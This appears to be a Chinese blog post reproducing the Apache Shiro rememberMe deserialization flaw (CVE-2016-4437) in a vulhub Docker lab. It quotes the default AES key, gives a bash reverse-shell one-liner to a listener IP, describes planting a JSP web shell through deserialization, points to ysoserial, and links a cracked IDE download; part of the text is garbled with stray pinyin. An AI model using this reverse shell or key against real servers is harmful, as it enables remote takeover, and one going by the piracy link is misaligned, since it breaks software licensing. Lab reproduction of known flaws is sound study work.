美文网首页
2021-02-03 Shiro序列化漏洞复现

2021-02-03 Shiro序列化漏洞复现

作者: 胖渣大橘子 | 来源:发表于2021-02-03 23:35 被阅读0次

    shiro漏洞概述

    Shiro提供了记住我(RememberMe)的功能,比如访问如淘宝等一些网站时,关闭了浏览器下次再打开时还是能记住你是谁,下次访问时无需再登录即可访问,但是设计到一些支付等敏感操作时,可能还需要再次验证。

    而shiro默认使用了CookieRememberMeManager接口,就是rememberme功能,。

    其处理cookie的流程是: 得到rememberMe的cookie值,先进行Base64解码,再进行AES解密,最后进行反序列化。

    但是shiro本身有一个预设密钥Base64.decode(“kPH bIxk5D2deZiIxcaaaA==”),漏洞的突破口也是这点,就导致了攻击者可以构造恶意数据造成反序列化的RCE漏洞。

    攻击者可以使用Shiro的默认密钥伪造用户Cookie,触发Java反序列化漏洞,进而在目标机器上执行任意命令

    漏洞影响

    Apache Shiro <= 1.2.4

    事实上,只要rememberMe的AES加密密钥泄露,无论shiro是什么版本都会导致反序列化漏洞。

    shell反弹

    https://blog.csdn.net/qq_33020901/article/details/78600382

    bash -i >&/dev/tcp/192.168.190.138/6666 0>&1
    

    对于速食主义者,后面的内容可以选择忽略

    命令 解释
    bash -i 产生一个交互式bash
    >& /dev/tcp/ip/port 建立TCP连接,并将标准输出和错误重定向到TCP连接
    0>&1 从TCP连接获取输入

    java反射

    1.反射机制

    JAVA反射机制是在运行状态中,对于任意一个类,都能够知道这个类的所有属性和方法;对于任意一个对象,都能够调用它的任意一个方法和属性;这种动态获取的信息以及动态调用对象的方法的功能称为java语言的反射机制。

    反序列化bai顾名思义就是用二进duzhi的形式dao来生成文件,zhuan由于common-collections.jar几乎在所有项目shu里都会dao被用到,所以当这个漏洞被发现并在这个jar包内实现攻击时,几乎影响了一大批的项目,weblogic的中枪立刻提升了这个漏洞的等级(对weblogic不熟悉的可以百度)。
    至于如何使用这个漏洞对系统发起攻击,举一个简单的例子,我通过本地java程序将一个带有后门漏洞的jsp(一般来说这个jsp里的代码会是文件上传和网页版的SHELL)序列化,将序列化后的二进制流发送给有这个漏洞的服务器,服务器会自动根据流反序列化的结果生成文件,然后就可以大摇大摆的直接访问这个生成的JSP文件把服务器当后花园了

    其他概念

    • 认证
    • 授权
    • 网站登陆身份验证
    • Apache Shiro <=1.2.4版本中,加密的用户信息序列化后存储在名为remember-me的Cookie中。
    • 攻击者可以使用Shiro的默认密钥伪造用户Cookie,触发Java反序列化漏洞CVE-2016-4437,进而在目标机器上执行任意命令。

    其他环境准备

    *idea破解版
    https://www.jb51.net/softs/758790.html#downintro2

    shiro漏洞后台环境

    docker-compose.yml

    version: '2'
    services:
     web:
       image: vulhub/shiro:1.2.4
       ports:
        - "8080:8080"
    

    运行docker

    docker-compose -f docker-compose.yml up
    

    java序列化工具或者可以直接下载相应jar包使用

    ysoserial
    进到target文件路径下,利用相关jar包来生成.ser序列化文件

    相关文章

      网友评论

          本文标题:2021-02-03 Shiro序列化漏洞复现

          本文链接:https://www.haomeiwen.com/subject/nmdvtltx.html